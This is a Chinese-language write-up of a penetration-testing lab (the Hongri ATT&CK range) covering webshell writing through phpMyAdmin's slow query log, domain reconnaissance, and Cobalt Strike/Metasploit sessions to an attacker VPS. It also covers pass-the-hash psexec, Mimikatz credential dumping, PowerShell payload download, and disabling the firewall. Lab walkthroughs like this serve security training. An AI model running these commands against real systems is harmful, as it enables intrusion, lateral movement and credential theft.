实战——红日ATT&CK系列靶场(一)

前言:


在最近一年的工作中,很少能接触到内网渗透的工作,为了进一步锻炼内网渗透的能力,理清内网渗透中的思路及攻击手法,笔者打算对国内外的优秀内网靶场进行模拟实战训练,记录自己的思路以及不足处,本篇将记录对红日ATT&CK系列靶场实战渗透过程。

环境配置:


  • 腾讯云主机:81.x.x.x(攻击机)、192.168.54.129(Kali攻击机)
  • win7(VM1):192.168.54.128(模拟外网web服务器,可出网),192.168.52.143(NAT网卡,VMnet 1网卡)
  • windows server 2003(VM2):192.168.52.141,模拟内网域成员主机(VMnet 1,不出网)
  • windows server 2008(VM3):192.168.52.138,模拟内网域控主机(VMnet 1,不出网)

拓扑图如下:

VM1、VM2、VM3在同一内网中,VM1 web服务开放在外网,只能通过拿下VM1后将其作为跳板进行横向渗透,拿下win2008和win2003服务器。如果想通过物理机进行渗透的话,需要将VMnet8网卡禁用。清楚自己的目的后,就可以打开win7中的phpstudy,开放web服务和mysql服务,然后就可以愉快地玩耍了。

信息收集:


端口扫描情况:

目录扫描结果:

目前已有信息:

  • mysql不允许外连
  • beifen.rar为源码备份压缩包,可以选择搭建环境配合代码审计挖掘漏洞
  • phpinfo泄露
  • 存在数据库管理工具phpmyadmin,可以通过爆破进后台或者查找历史漏洞

无论是爆破还是代码审计都有拿shell的机会,按照先易后难以及时间耗费尽可能少的原则,优先选择phpmyadmin爆破以及查找历史漏洞的方式

phpmyadmin版本为3.5.8.2,查了查似乎不存在历史漏洞,那么就只能从爆破入手了:

通过之前泄露的phpinfo页面知道了web服务器的绝对路径C:/phpStudy/WWW,那么登录进入后先通过慢日志查询写入webshell:

set global slow_query_log=1;  # 启用慢查询日志(默认禁用)
set global slow_query_log_file='C://phpStudy//WWW//slow_log.php'; 
select @@long_query_time;  # 慢查询时间值
select '' or sleep(11);

成功拿到webshell:

whoami
ipconfig /all
wmic qfe GET hotfixid
tasklist /svc
ping www.baidu.com
net view /domain  # 查看当前网络域环境,查询有几个域
net view  # 查询同域机器
net user /domain  # 查询域用户列表
net group "Domain controllers" /domain  # 查询域控制器
net group "domain admins" /domain  # 查看域管理员

在cs中执行net view,查看当前域中的计算机列表:

  • 存在域god.org,域控主机为owa.god.org(192.168.52.138)
  • 当前用户为域管用户
  • 域内有三个用户:Administrator、ligang、liukaifeng01
  • 不存在杀软
  • 可出网,没有限制
  • 补丁较少

基于以上情况,决定进行提权操作,然后拿到明文密码或者NTLM,然后通过WMI、PTH、PTT或者白银票据拿下域控,先上线CS瞅瞅

目标环境存在python,这里使用python反弹shell,然后上线CS利用SweetPotato提权:

加载mimikatz获取NTLM哈希和明文密码:

然后需要确定当前主机能通哪些网段,确定域内存活主机,做进一步信息收集工作,同时要做好权限维持工作:

通过自身网卡IP段,路由表,本地连接信息,arp缓存,本地host文件,以及浏览器历史记录等确定可通IP段

ipconfig /all
netstat -ant
route print 
arp -a

查看是否开放远程桌面,若无则利用msf开启,并查看远程桌面端口:

# 查看TermService服务
tasklist /svc | find "Ter"
run post/windows/manage/enable_rdp
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

利用frp穿透工具连接内网主机的rdp:

成功登录远程桌面:

确定有哪些内网IP后尝试使用Goby进行资产识别(漏洞扫描速度很慢,会漏报一些漏洞,不建议扫描整个C段):

刚好最近TideFinger更新了,试试效果咋样:

因为拿下的win7存在双网卡,为了尽可能多的获取主机权限,考虑到CS的后渗透模块较少,选择将CS会话传递到MSF:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.54.129
set lport 4488

然后在 CS上先创建一个 Foreign HTTP 监听,之后在 CS 上右击待传递的会话选择 Spawn ,选择刚刚创建的 Foreign HTTP 监听

由于MSF和CS部署在同一台VPS上,不方便直接利用会话传递,这里我选择通过exploit/multi/script/web_delivery模块获得一个Meterpreter:

use exploit/multi/script/web_delivery
set payload python/meterpreter/reverse_tcp
set target 0
set lhost 81.x.x.x
run

遇到的问题:python2需要在高版本运行,python3正常上线

获取内网网段信息,并添加一条通向192.168.52.0/24内网的路由:

run get_local_subnets
run autoroute -s 192.168.52.0/24

利用scaninfo进行快速扫描:

scaninfo_windows_x64.exe -t1000 -i 192.168.52.138

确定域控主机有开放WMI和SMB,直接利用wmiexec执行系统命令:

ladon.exe wmiexec2 192.168.52.138 GOD\administrator pass123 cmd ipconfig

在域环境中,域管理员组内用户可以利用hash传递上线MSF:

exploit/windows/smb/psexec
set rhosts 192.168.52.138
set SMBDomain GOD
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:6703dac9a915xxxxxxxxxxxxxxxxxxxx
run

或者利用以下模块:

exploit/windows/smb/psexec_psh

获取到system权限的meterpreter ,这里直接使用hashdump会报错,可能是因为该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,然后再使用如下命令获取所有域用户的Hash:

hashdump
# 或者
run post/windows/gather/smart_hashdump

加载kiwi获取明文凭证:

load kiwi
creds_all

或者我们也可以通过wmiexec.py获取一个shell,由于域控不出网,这里通过被控主机WIN7作为中转站进行转发上线CS:

生成EXE并上传到win7的web服务器的根目录下,然后通过powershell进行下载:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/beacon.exe','evil.exe')

结果运行报错。。。。尴尬。后面想利用goproxy http代理上线CS,明明受控主机监听的地址为0.0.0.0,可死活无法访问,用nmap扫描发现并没有开放,我这才想到可能是防火墙策略的原因,开启了阻止所有与未在允许程序列表中的程序的连接,也就是设置了白名单,难怪我CS上线域控失败。:

关闭防火墙:netsh advfirewall set allprofiles state off,重新进行转发上线:

遇到的问题:


  • 使用python反弹shell后无法切换目录
  • 在蚁剑的虚拟终端执行powershell上线CS失败
  • 利用msf反弹psh后,长时间不执行系统命令后shell就断了
  • 使用蚁剑上传大文件时会超时,需要修改超时时间
  • 利用Invoke-Mimikatz.ps1获取hash报错:PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS

后续计划:


下一个红日靶场实战
在win7安装360等安全防护软件的情况下进行内网渗透

你可能感兴趣的:(实战——红日ATT&CK系列靶场(一))